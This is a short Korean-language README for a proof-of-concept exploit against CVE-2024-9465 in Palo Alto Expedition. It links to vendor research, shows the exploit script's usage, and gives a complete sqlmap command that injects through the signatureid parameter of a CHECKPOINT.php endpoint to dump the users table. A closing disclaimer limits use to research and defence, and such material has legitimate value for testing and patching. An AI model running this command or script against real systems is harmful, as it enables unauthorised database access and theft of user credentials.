
CVE-2024-9465용 개념 증명 익스플로잇
취약한 장치에서 CVE-2024-9465를 악용하기 위한 개념 증명.
근본 원인 및 침해 지표: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/
% python3 CVE-2024-9465.py -h
usage: CVE-2024-9465.py [-h] -u URL
options:
-h, --help show this help message and exit
-u URL, --url URL The URL of the target
python3 sqlmap.py -u "https://<ip_address>/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump
이 소프트웨어는 학술 연구 및 효과적인 방어 기술 개발 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용할 목적이 아닙니다. 프로젝트 유지관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.